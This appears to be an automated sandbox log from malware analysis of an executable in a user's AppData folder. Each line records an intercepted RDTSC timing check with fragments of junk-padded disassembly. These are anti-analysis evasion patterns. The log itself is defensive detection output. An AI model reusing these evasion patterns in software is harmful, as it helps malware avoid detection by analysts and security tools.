Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 549983 second address: 549989 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 549AE5 second address: 549AF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 549AF3 second address: 549AF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 549DF3 second address: 549DFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 549DFC second address: 549E02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 549E02 second address: 549E08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 54A0FA second address: 54A132 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 jmp 00007FBC9118B8B8h 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jns 00007FBC9118B8A6h 0x00000014 jmp 00007FBC9118B8B1h 0x00000019 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 54A28F second address: 54A293 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 517EC1 second address: 517EC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 517EC7 second address: 517ECF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 517ECF second address: 517ED7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 54AAFE second address: 54AB06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 54AB06 second address: 54AB17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 popad 0x00000008 pushad 0x00000009 jl 00007FBC9118B8ACh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 54AB17 second address: 54AB1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 54AB1E second address: 54AB24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 54AB24 second address: 54AB2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 54AB2D second address: 54AB37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FBC9118B8A6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 54AC93 second address: 54ACDF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jno 00007FBC912593F6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jmp 00007FBC91259402h 0x00000014 jmp 00007FBC91259405h 0x00000019 push ecx 0x0000001a jmp 00007FBC91259403h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 54AE86 second address: 54AE8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 54AE8C second address: 54AE9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBC912593FDh 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 54AFED second address: 54AFFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBC9118B8ACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 54B333 second address: 54B35E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC912593FFh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FBC91259404h 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 54B35E second address: 54B368 instructions: 0x00000000 rdtsc 0x00000002 je 00007FBC9118B8A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 54DFB9 second address: 54DFBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 54DFBF second address: 54DFC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 54DFC3 second address: 54DFC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 54E5E2 second address: 54E5E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 54E5E6 second address: 54E5EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 54E5EC second address: 54E5F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 54E5F2 second address: 54E600 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 54E600 second address: 54E638 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FBC9118B8A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d pop eax 0x0000000e popad 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jno 00007FBC9118B8ACh 0x00000019 mov eax, dword ptr [eax] 0x0000001b jmp 00007FBC9118B8AAh 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 jns 00007FBC9118B8A6h 0x0000002d rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 54CF27 second address: 54CF2D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 54CF2D second address: 54CF32 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 54E73A second address: 54E74D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jnl 00007FBC912593F6h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 54E74D second address: 54E753 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 54E753 second address: 54E77C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC91259401h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e jbe 00007FBC912593FCh 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 54E77C second address: 54E797 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push eax 0x0000000a push esi 0x0000000b pop esi 0x0000000c pop eax 0x0000000d pop eax 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 je 00007FBC9118B8A6h 0x0000001b rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 54E797 second address: 54E7B2 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FBC912593F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FBC912593FFh 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 50C16B second address: 50C19B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC9118B8B9h 0x00000007 jmp 00007FBC9118B8ACh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 555749 second address: 55574F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 555883 second address: 555888 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 555888 second address: 5558B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pushad 0x00000008 js 00007FBC912593F6h 0x0000000e push esi 0x0000000f pop esi 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 push edx 0x00000013 pop edx 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pushad 0x00000018 jmp 00007FBC91259402h 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 55610E second address: 556114 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 556114 second address: 556120 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 556120 second address: 556126 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 556126 second address: 55612B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 55612B second address: 55613B instructions: 0x00000000 rdtsc 0x00000002 jo 00007FBC9118B8B2h 0x00000008 jng 00007FBC9118B8A6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 55861A second address: 55865D instructions: 0x00000000 rdtsc 0x00000002 jno 00007FBC91259402h 0x00000008 jno 00007FBC91259402h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FBC91259409h 0x00000017 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 50DC3E second address: 50DC47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 50DC47 second address: 50DC4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 50DC4B second address: 50DC7C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC9118B8B6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FBC9118B8B1h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 50DC7C second address: 50DC82 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 55BF6B second address: 55BF82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FBC9118B8AFh 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 55C007 second address: 55C010 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 55C5FC second address: 55C61E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC9118B8AEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jne 00007FBC9118B8ACh 0x00000013 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 55CB94 second address: 55CB99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 55CCEA second address: 55CCF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 55CE24 second address: 55CE36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007FBC912593F6h 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 55CE36 second address: 55CE4E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC9118B8B4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 55CE4E second address: 55CE69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBC91259407h 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 55CE69 second address: 55CE6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 55F0DA second address: 55F0F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC912593FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 55F0F6 second address: 55F0FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 55F0FD second address: 55F109 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FBC912593F6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 55F109 second address: 55F10D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 560846 second address: 560854 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 562A0A second address: 562A10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5627D1 second address: 5627D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5627D7 second address: 5627E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FBC9118B8A6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5643D7 second address: 5643E1 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FBC912593F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5643E1 second address: 5643E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5643E7 second address: 5643ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 56315B second address: 56315F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 56315F second address: 563173 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FBC912593F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c pushad 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pop edx 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 567F98 second address: 567FA9 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FBC9118B8A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 567FA9 second address: 567FAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 56854E second address: 568552 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5693AF second address: 5693B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5693B3 second address: 5693C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007FBC9118B8A6h 0x0000000e rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5693C1 second address: 5693C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 56943A second address: 56944C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 jo 00007FBC9118B8BCh 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 56B508 second address: 56B51F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC91259403h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 56B51F second address: 56B556 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jns 00007FBC9118B8ACh 0x0000000f push 00000000h 0x00000011 jmp 00007FBC9118B8AEh 0x00000016 push 00000000h 0x00000018 add edi, dword ptr [ebp+122D2B5Eh] 0x0000001e push eax 0x0000001f push edi 0x00000020 push eax 0x00000021 push edx 0x00000022 jp 00007FBC9118B8A6h 0x00000028 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 56D7A1 second address: 56D7A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 56D7A6 second address: 56D806 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d jmp 00007FBC9118B8B3h 0x00000012 push 00000000h 0x00000014 pushad 0x00000015 jmp 00007FBC9118B8B1h 0x0000001a popad 0x0000001b push 00000000h 0x0000001d pushad 0x0000001e cld 0x0000001f sub dword ptr [ebp+1247C20Ch], ecx 0x00000025 popad 0x00000026 jmp 00007FBC9118B8B1h 0x0000002b xchg eax, esi 0x0000002c pushad 0x0000002d jmp 00007FBC9118B8AAh 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5686B6 second address: 56876A instructions: 0x00000000 rdtsc 0x00000002 jne 00007FBC91259409h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d jmp 00007FBC91259402h 0x00000012 mov edi, dword ptr [ebp+122D1C46h] 0x00000018 push dword ptr fs:[00000000h] 0x0000001f mov dword ptr [ebp+122D1EE8h], ecx 0x00000025 mov dword ptr fs:[00000000h], esp 0x0000002c push 00000000h 0x0000002e push edx 0x0000002f call 00007FBC912593F8h 0x00000034 pop edx 0x00000035 mov dword ptr [esp+04h], edx 0x00000039 add dword ptr [esp+04h], 0000001Ch 0x00000041 inc edx 0x00000042 push edx 0x00000043 ret 0x00000044 pop edx 0x00000045 ret 0x00000046 mov ebx, dword ptr [ebp+122D39ACh] 0x0000004c mov eax, dword ptr [ebp+122D02F1h] 0x00000052 jmp 00007FBC91259404h 0x00000057 push FFFFFFFFh 0x00000059 adc ebx, 11850BB3h 0x0000005f jo 00007FBC912593F9h 0x00000065 push esi 0x00000066 cmc 0x00000067 pop ebx 0x00000068 push eax 0x00000069 push eax 0x0000006a push edx 0x0000006b jmp 00007FBC91259400h 0x00000070 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5695DD second address: 5695E7 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FBC9118B8ACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 56E88E second address: 56E8A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC91259404h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
